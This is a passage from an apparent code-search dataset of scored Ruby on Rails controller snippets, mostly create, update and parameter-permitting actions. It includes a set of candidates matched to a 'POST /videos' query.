"text": "def create\n params[:human_resource][:question].each do |k, v|\n answer = Answer.new\n answer.user_id = params[:human_resource][:user_id]\n answer.question_id = k;\n answer.answer = v;\n answer.save\n end\n respond_to do |format|\n format.html { redirect_to answers_path, notice: 'Questionário criado com sucesso.' }\n format.json { render :index, status: :created, location: @answer }\n end\n end",
"title": ""
},
{
"docid": "bd3625b6fe060fea0acfa263b829340b",
"score": "0.5276475",
"text": "def set_requerimiento\n @requerimiento = Requerimiento.find(params[:id])\n end",
"title": ""
},
{
"docid": "e68ef333075979faa0d4f875455959a5",
"score": "0.52699435",
"text": "def create\n params[:competitiveness][:question].each do |k, v|\n answer = Answer.new\n answer.user_id = params[:competitiveness][:user_id]\n answer.question_id = k;\n answer.answer = v;\n answer.save\n end\n respond_to do |format|\n format.html { redirect_to answers_path, notice: 'Questionário criado com sucesso.' }\n format.json { render :index, status: :created, location: @answer }\n end\n end",
"title": ""
},
{
"docid": "9db8ef5ab7e14d5ad013fa38969869fe",
"score": "0.5260267",
"text": "def create\n params.permit(:intituleChoix, :question_id)\n ajout = ChoixService.instance.creerNouveauChoix(params[:intituleChoix], params[:question_id])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\n end",
"title": ""
},
{
"docid": "f35496e155268830450d9c3b241ad839",
"score": "0.52591145",
"text": "def create\n response = ApiPago.crear_factura(params[:id_oc])\n render json: response\n end",
"title": ""
},
{
"docid": "e5e45ddc563af64cd863b97d903d7824",
"score": "0.52545404",
"text": "def my_requests\n name = params[:name].downcase!\n detail = []\n (Ufvaluerequest.where(client: name)).each do |consult|\n hash1 = {}\n hash1[:requestedDate] = consult.requestedDate\n hash1[:ufvalue] = consult.ufvalue\n hash1[:created_at] = consult.created_at\n detail.push(hash1)\n end\n hash = {\"Cantidad de consultas\": \"#{Ufvaluerequest.where(client: name).count}\", \"Detalle de consultas\": \"#{detail}\"}\n render json: hash\n end",
"title": ""
},
{
"docid": "66a83d21c5296e585536f779ef47dadb",
"score": "0.52520025",
"text": "def set_exame_requisicao\n @exame_requisicao = ExameRequisicao.find(params[:id])\n end",
"title": ""
},
{
"docid": "eb542d84a7304734c8a19802c815636f",
"score": "0.52498984",
"text": "def create\n @recipy = Recipy.new(recipy_params)\n\n params[:recipy][:ingredients].each do |e|\n @ingredient = Ingredient.find_by name: e\n if @ingredient.nil?\n render json: {status: 'Ingredient not found'}, status: :unprocessable_entity\n return\n else\n @recipy.ingredients << @ingredient\n end\n end\n\n params[:recipy][:categories].each do |e|\n @category = Category.find_by name: e\n if @category.nil?\n render json: {status: 'Category not found'}, status: :unprocessable_entity\n return\n else\n @recipy.categories << @category\n end\n end\n\n @recipy.user = current_user\n\n if @recipy.save\n render :show, status: :ok, location: @recipy\n else\n render json: @recipy.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "2279d55a42a4a3ca63e3f468dabd4bc1",
"score": "0.5247638",
"text": "def recipe_params\n params.permit(:title, :instructions, :minutes_to_complete)\n end",
"title": ""
},
{
"docid": "8dc28b7333b02f77655aee9978b80fad",
"score": "0.52443784",
"text": "def update\n respond_to do |format|\n if @requisito.update(requisito_params)\n format.html { redirect_to @requisito, notice: 'Requisito was successfully updated.' }\n format.json { render :show, status: :ok, location: @requisito }\n else\n format.html { render :edit }\n format.json { render json: @requisito.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab517b8f0e07f0c9ac4211d1304c3456",
"score": "0.5240759",
"text": "def set_exame_requisicao\n @exame_requisicao = ExameRequisicao.find(params[:id])\n end",
"title": ""
},
{
"docid": "03155e9cd5235d91726a29142f0692a8",
"score": "0.5238653",
"text": "def evaluacion_params\n params.require(:evaluacion).permit(:pregunta_1, :pregunta_2, :pregunta_3, :pregunta_4, :pregunta_5, :pregunta_6, :pregunta_7, :pregunta_8, :observacion, :fecha_evaluacion, :nota, :nota_informe_practica)\n end",
"title": ""
},
{
"docid": "c5e633c977e1c95857c27b889515f3e6",
"score": "0.52363306",
"text": "def create\n # @resumenes = Resumen.creados_hoy.order(\"vocero_id DESC\")\n resumenes_ids = params[:resumenes_ids]\n \n # puts \"RESUMEN: #{resumenes_ids}\"\n @informe = Informe.new(params[:informe])\n\n respond_to do |format|\n if @informe.save\n resumenes_ids.each do |id|\n resumen = Resumen.find id\n if resumen\n resumen.informe_id = @informe.id\n resumen.save\n end\n end\n Website.limpiar_todos_usuarios\n session[:website_selecionada] = nil\n flash[:success] = 'Informe creado Satisfactoriamente.'\n format.html { redirect_to @informe }\n format.json { render json: @informe, status: :created, location: @informe }\n else\n format.html { render action: \"paso5\" }\n format.json { render json: @informe.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "27108381184ca1b7e785f8743d5a362c",
"score": "0.52313447",
"text": "def exectest_params_post\n begin\n p = params.require(:exectest).permit(:qa_id, :suite_id, :teste_id, :execucao_uuid, :data_inicio, :data_fim, :status, :evidencia, :comentario)\n p[:execucao_uuid] = SecureRandom.uuid\n p[:data_inicio] = Time.now.strftime(\"%Y-%m-%dT%H:%M:%S.%L\")\n p[:status] = \"IN_PROGRESS\"\n rescue => e\n puts e\n end\n p\n end",
"title": ""
},
{
"docid": "4d0cac9dd5ea7d2b474a87240380669e",
"score": "0.52287024",
"text": "def temp\n\t\t@user = User.find_by(name: \"Guest\") || User.create({name: \"Guest\", email: 'guest@guest.com', password:'123'})\n\t\t@request = @user.requests.create ({temporary: true})\n\t\tparams[:job_titles].split(',').each {|title| @request.job_titles.create(job_title: title)}\n\t\tparams[:includes].split(',').each {|criteria| @request.includes.create(criteria: criteria)}\n\t\tparams[:excludes].split(',').each {|criteria| @request.excludes.create(criteria: criteria)}\n\t\tparams[:locations].split(',').each {|location| @request.locations.create(city: location)}\n\t\t@request.save\n\t\tRequestService.new.get_jobs(@request)\n\t\trender json: @request, status: 200\n\tend",
"title": ""
},
{
"docid": "097e2836f5b084acf3d854deeaf36161",
"score": "0.5222837",
"text": "def index\n @frequenciaalunos = Frequenciaaluno.order(:disciplina_id).page(params[:page])\n end",
"title": ""
},
{
"docid": "44d977980665a0ef47e3a96d4066f144",
"score": "0.5219433",
"text": "def destroy\n @requisito = Requisito.find(params[:id])\n @requisito.destroy\n\n respond_to do |format|\n format.html { redirect_to requisitos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "79ed2f10fb0be9da3044c8c043eccd4c",
"score": "0.5213951",
"text": "def create\n if params[:concepto][:tipo_ids]\n params[:concepto][:tipo_ids] = params[:concepto][:tipo_ids].map{|k, v| k}\n else\n params[:concepto][:tipo_ids] = []\n end\n\n @concepto = Concepto.new(concepto_params)\n\n respond_to do |format|\n if @concepto.save\n format.html { redirect_to @concepto, notice: 'Concepto was successfully created.' }\n format.json { render :show, status: :created, location: @concepto }\n else\n format.html { render :new }\n format.json { render json: @concepto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3061c0f906e4d175bb8e847e14281ba",
"score": "0.52115846",
"text": "def create\n @opcion = Opcion.new(opcion_params)\n\n respond_to do |format|\n if @opcion.save\n format.html { redirect_to @opcion, notice: 'Opcion was successfully created.' }\n format.json { render :show, status: :created, location: api_v1_pregunta_opcion_url(@opcion.pregunta_id,@opcion) }\n else\n format.html { render :new }\n format.json { render json: @opcion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1610513c47c00eb2de6c691dfb41a84d",
"score": "0.52084994",
"text": "def create\n @quesito = Quesito.new(params[:quesito])\n\n respond_to do |format|\n if @quesito.save\n format.html { redirect_to @quesito, :notice => 'Quesito was successfully created.' }\n format.json { render :json => @quesito, :status => :created, :location => @quesito }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @quesito.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c83ffbb398eb6e4d9c153b5d36aa56f8",
"score": "0.52052593",
"text": "def create\n @pregunta = Pregunta.new(params[:pregunta])\n\n if @pregunta.save\n render json: @pregunta, status: :created, location: @pregunta\n else\n render json: @pregunta.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "6ed7e366783f59e62d5e0ebd7fbfa872",
"score": "0.5204293",
"text": "def requisition_params\n params.require(:requisition).permit(:status, :field_name, :new_value, :justification,:excluded)\n end",
"title": ""
},
{
"docid": "ebad74f71d71a5cd0c601472d5eedfe5",
"score": "0.5203417",
"text": "def resposta_params\n params.require(:resposta).permit(:descricao, :correta, :pergunta_id)\n \n end",
"title": ""
},
{
"docid": "48cc10d6cf320e6dfad5a2d6548cc7f9",
"score": "0.5197513",
"text": "def create\n @prereq = Prereq.new(prereq_params)\n\n respond_to do |format|\n if @prereq.save\n format.html { redirect_to @prereq, notice: 'Prereq was successfully created.' }\n format.json { render :show, status: :created, location: @prereq }\n else\n format.html { render :new }\n format.json { render json: @prereq.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6bc97702464d61dfe0b38c0d1f893860",
"score": "0.51953894",
"text": "def create\n @emp_requisition = EmpRequisition.new(emp_requisition_params)\n\n respond_to do |format|\n if @emp_requisition.save\n format.html { redirect_to @emp_requisition, notice: 'Emp requisition was successfully created.' }\n format.json { render :show, status: :created, location: @emp_requisition }\n else\n format.html { render :new }\n format.json { render json: @emp_requisition.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
5be10c3d09a96945eb8715b3a37e34a8
|
POST /videos POST /videos.xml
|
[
{
"docid": "f4ba50e10b957cad5a24cba948ac62eb",
"score": "0.0",
"text": "def create\n @video = Video.new(params[:video])\n @video.safe_name = @video.name.urlize(:regexp => /[^A-Za-z0-9]/)\n if (params[:video][:is_film] == \"1\")\n file = params[:file]\n FileUtils.copy_file file.path, 'public/videos/films/' + @video.safe_name + '.flv'\n else\n FileUtils.mkdir('public/videos/series/' + @video.safe_name + '/')\n end\n\n respond_to do |format|\n if @video.save\n flash[:notice] = 'Video was successfully created.'\n format.html { redirect_to(@video) }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "5ef1a6c3ec93d6f5094b55594aac5db4",
"score": "0.69252187",
"text": "def create\n @video = @client.videos.build(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { render :text => \"Video Successfully Uploaded\" }\n # format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n # format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6457dc58e1c35c0fde984445dba110cc",
"score": "0.66142994",
"text": "def create_videos\n end",
"title": ""
},
{
"docid": "6457dc58e1c35c0fde984445dba110cc",
"score": "0.66142994",
"text": "def create_videos\n end",
"title": ""
},
{
"docid": "3593b218bb6c544f7c82150198958c0a",
"score": "0.65725774",
"text": "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n flash[:notice] = 'Video was successfully created.'\n format.html { redirect_to(@video) }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8ad36bf334ffbd0ce3ea5530de8e0afc",
"score": "0.6564629",
"text": "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6a0fae10ab5a62e2003ee37287b8cc9d",
"score": "0.64770424",
"text": "def create\n # @video = Video.new(params[:video])\n \n respond_to do |format|\n if @video.save\n format.html { redirect_to(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c7c8864f1cc33420f358764f5babafd",
"score": "0.64292455",
"text": "def get_upload_ticket\n body = { type: 'streaming' }\n post '/videos', body: body, code: 201\n end",
"title": ""
},
{
"docid": "9125ccebf4718b1a1779af62149e5157",
"score": "0.63578403",
"text": "def create\n @video = Video.new(video_params)\n\n if @video.save\n render json: @video, status: :created, location: @video\n else\n render json: @video.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0bb554cc03138c98d8aafb613b5c91fb",
"score": "0.6336787",
"text": "def create\n @video = Video.new(video_params)\n if @video.save\n render json: @video, status: :created\n else\n render json: @video.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "06e83f6290570a3ce3b71c5b85dcaa95",
"score": "0.6327037",
"text": "def videos(options = {})\n uri = videos_url(options)\n doc = establish_connection(uri)\n (doc/:video).inject([]){ |r, i| r << parse_single_xml(i, Video) }\n end",
"title": ""
},
{
"docid": "a1c28561af7794083eb824378b636a44",
"score": "0.6274949",
"text": "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to videos_path, notice: 'Video was successfully created.' }\n format.json { render json: videos_path, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cadb05d6173e614d75aeeb54e1b733bb",
"score": "0.62598115",
"text": "def create\n\t\t@video = Video.new(video_params)\n\t\t# @video = Video.new PhnetworkScraper::Video.new(@video.url).to_params_hash if @video.add_by_url\n\n\t\trespond_to do |format|\n\t\t\tif @video.save\n\t\t\t\tformat.html { redirect_to @video, notice: 'Video was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @video }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @video.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f1ed7fdc4a4e1bbe01c48342229a88f4",
"score": "0.62429976",
"text": "def create\n @video = Video.new(params[:video])\n\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, :notice => 'Video was successfully created.' }\n format.json { render :json => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "318fca62b96ae515524976c92b068a64",
"score": "0.62313086",
"text": "def create\n @api_v1_video = Api::V1::Video.new(api_v1_video_params)\n\n if @api_v1_video.save\n render json: @api_v1_video, status: :created, location: @api_v1_video\n else\n render json: @api_v1_video.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d3f439ac1b0e858d6b8a93e70c319210",
"score": "0.6214019",
"text": "def new\n @pagina=Pagina.find(params[:id])\n @video = @pagina.videos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end",
"title": ""
},
{
"docid": "5abe0ad616c882ecb7414e9a190fef35",
"score": "0.62088084",
"text": "def create\n @videoable = find_videoable\n @video = @videoable.videos.build(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, :notice => 'Video was successfully created.' }\n format.json { render :json => @video, :status => :created, :location =>@video }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5628b364fb326e1282af31bd523af4b9",
"score": "0.62057745",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to root_path, notice: 'Video Created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bdae69dd836b7cb4b6b066086084da6a",
"score": "0.61954224",
"text": "def create\n @video = Video.new(api_v1_video_params)\n respond_to do |format|\n if @video.save\n format.json { render :show, status: :created, location: @api_v1_video }\n else\n format.json { render json: @api_v1_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7da45d6454729f8285cc881cbfdea62b",
"score": "0.6195322",
"text": "def create\n @single_video = SingleVideo.new(params[:single_video])\n\n respond_to do |format|\n if @single_video.save\n flash[:notice] = 'SingleVideo was successfully created.'\n format.html { redirect_to(@single_video) }\n format.xml { render :xml => @single_video, :status => :created, :location => @single_video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @single_video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3204107576613e1c7e3b7a67a3e7f78",
"score": "0.6190147",
"text": "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3204107576613e1c7e3b7a67a3e7f78",
"score": "0.6190147",
"text": "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3204107576613e1c7e3b7a67a3e7f78",
"score": "0.6190147",
"text": "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d4d04ad3cfc2e508c502c17585a9c6be",
"score": "0.61817163",
"text": "def create\n new_videos = JSON.parse(params[:log])\n for vid in new_videos\n path, uuid = *vid\n source, original_name = *Pathname.new(path).each_filename.to_a\n\n puts \"#{uuid}: '#{original_name}' from '#{source}'\"\n Video.create(uuid: uuid, original_name: original_name, source: source, has_webm: true, has_mp4: true)\n end\n\n render text: 'Done'\n end",
"title": ""
},
{
"docid": "94f2bdd25172bff0d800832e7b1e251d",
"score": "0.61785895",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "94f2bdd25172bff0d800832e7b1e251d",
"score": "0.61785895",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "94f2bdd25172bff0d800832e7b1e251d",
"score": "0.61785895",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "94f2bdd25172bff0d800832e7b1e251d",
"score": "0.61785895",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "94f2bdd25172bff0d800832e7b1e251d",
"score": "0.61785895",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "94f2bdd25172bff0d800832e7b1e251d",
"score": "0.61785895",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "94f2bdd25172bff0d800832e7b1e251d",
"score": "0.61785895",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d50cdc36b6ac6ba8f2df6fcdc756abb",
"score": "0.6168737",
"text": "def create\n\t\t@category = Category.find(params[:category_id])\n\t\t@yt_vid_id = params[:yt_vid_id]\n\t\t@yt_vid = Yt::Video.new id: @yt_vid_id\n\t\tnew_vid = @category.videos.create(grab_params(@yt_vid))\n\t\t\trender json: {message: \"video uploaded!\"}\n\t\t# redirect_to category_path(@category)\n\t\t\n\tend",
"title": ""
},
{
"docid": "5f1c91e79989e160551b1c30a2371776",
"score": "0.616332",
"text": "def create\n \tvid = extract_id(params[:video][:link])\n \tparams[:video][:vid] = vid\n \tparams[:video][:uploader] = session[:user_hash][\"username\"]\n \t@video = Video.new(params[:video])\n \tif @video.valid?\n \t\t@video.save\n if (params[:sendEmail])\n VideoMailer.video_email(@video).deliver\n end\n \t\trespond_to do |format|\n \t\t\tformat.html\n \t\t\tformat.json{ render :json => @video}\n \t\tend\n \telse\n # error msg should be set in http.post error handler\n render :status => 403, :layout => false\n \tend\n end",
"title": ""
},
{
"docid": "adf5fbd4434a5473faa0efd36288b2bd",
"score": "0.6160053",
"text": "def create\n if current_user.pending_video\n current_user.pending_video.destroy\n end\n @video = current_user.build_pending_video(params[:video])\n\n respond_to do |format|\n if @video.save\n logger.debug(\"#{@video.video.url}\")\n flash[:notice] = 'Video was successfully created.'\n format.html { redirect_to(videos_path) }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "670c02d76890bdedb96d41b465be1f59",
"score": "0.6155359",
"text": "def create\n @video = Video.find(params[:video_id])\n @vidvid = @video.create_vidvid(params[:vidvid])\n redirect_to video_path(@video)\n end",
"title": ""
},
{
"docid": "6f676e6204e07e75ba2e2a19590edeb6",
"score": "0.61506057",
"text": "def create\n @video = Video.new(params[:video])\n @categories = Category.all\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to admins_video_path(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5f4cf83a9e58c1de1a99375e388767ae",
"score": "0.61462426",
"text": "def send_video\n api = API.new\n foto_01 = api.assets(file: self.user.picture_url)\n user = self.user\n api.videos(foto_01: foto_01, logo_01: 'https://s3.amazonaws.com/apiteaser/assets/cvv1231232123.png',\n nome_01: \"#{user.first_name} #{user.last_name}\", cargo_01: user.headline, curso_01: user.course, \n idade_01: \"#{user.age} anos\", cidade_01: user.location, contato_01: user.email, contato_02: '', empresa_01: '', profissao_01: '', instituicao_01: '' )\n end",
"title": ""
},
{
"docid": "00f9f27ee151dc5257dffdb563aac00d",
"score": "0.6145199",
"text": "def create\n @video = Video.new(video_params)\n \n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "80451b9325c7615d508be5fa116a082b",
"score": "0.6144858",
"text": "def create\n @video = Video.new(params[:video])\n \n \n respond_to do |format|\n if @video.save\n format.html { render :action => \"success\" }\n else\n format.html { render :action => \"fail\" }\n end\n end\n end",
"title": ""
},
{
"docid": "b43593da1576c1a239b43ebf6fc6347f",
"score": "0.6138554",
"text": "def create\n\t @video = Video.new(video_params)\n\t @video.status = :unprocessed\n\n\t respond_to do |format|\n\t if @video.save\n\t format.html { redirect_to upload_video_path(id: @video.id), notice: 'Video was successfully created.' }\n\t format.json { render :show, status: :created, location: @video }\n\t else\n\t format.html { render :new }\n\t format.json { render json: @video.errors, status: :unprocessable_entity }\n\t end\n\t end\n\tend",
"title": ""
},
{
"docid": "2030ca4b02f272b0d7025731d51b6776",
"score": "0.6124609",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to admin_videos_path, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af628a8352025a616d4c101c63692306",
"score": "0.6112824",
"text": "def video(id)\n response = establish_connection(\"videos/#{id}.xml\")\n parse_single_xml(response.at(:video), Video)\n end",
"title": ""
},
{
"docid": "a694e1e4a55625625aa3b2edfb31989c",
"score": "0.61109513",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a694e1e4a55625625aa3b2edfb31989c",
"score": "0.61109513",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a694e1e4a55625625aa3b2edfb31989c",
"score": "0.61109513",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a694e1e4a55625625aa3b2edfb31989c",
"score": "0.61109513",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a694e1e4a55625625aa3b2edfb31989c",
"score": "0.61109513",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a694e1e4a55625625aa3b2edfb31989c",
"score": "0.61109513",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a694e1e4a55625625aa3b2edfb31989c",
"score": "0.61109513",
"text": "def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render action: 'show', status: :created, location: @video }\n else\n format.html { render action: 'new' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0c4886408c0a332c508b97feefae4156",
"score": "0.6102516",
"text": "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n @video.artists.each {|a| a.videos << @video; a.save}\n params[:video][:artists].each {|a| a.videos_added_at = Time.now; a.save}\n format.html { redirect_to(@video, :notice => 'Video was successfully created.') }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\", :layout => \"manage\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c7829c73bebd35229e310c7e8680e063",
"score": "0.61024094",
"text": "def create_video(params)\n # Useful params?\n # title, tags, author\n options = {\n params: {\n upload_method: \"s3\",\n upload_content_type: params[:video][:content].content_type\n }\n }\n\n options[:params] = options[:params].merge!(api_settings(options[:params]))\n\n begin\n response = RestClient.get(@base_uriv1 + '/videos/create', options)\n if (response.code == 200)\n JSON.parse(response.body, object_class: OpenStruct)\n end\n rescue Exception => e\n puts \"Error encountered creating video #{e.message}\"\n end\n end",
"title": ""
},
{
"docid": "5cf88ab236c078af0bc2919b6a8dff6c",
"score": "0.6102067",
"text": "def create\n flash[:notice] = 'Video Created' if @owner.videos << @video\n respond_with @owner, @video\n end",
"title": ""
},
{
"docid": "55bf71a92b22003c771c3398ee17ee4c",
"score": "0.6078622",
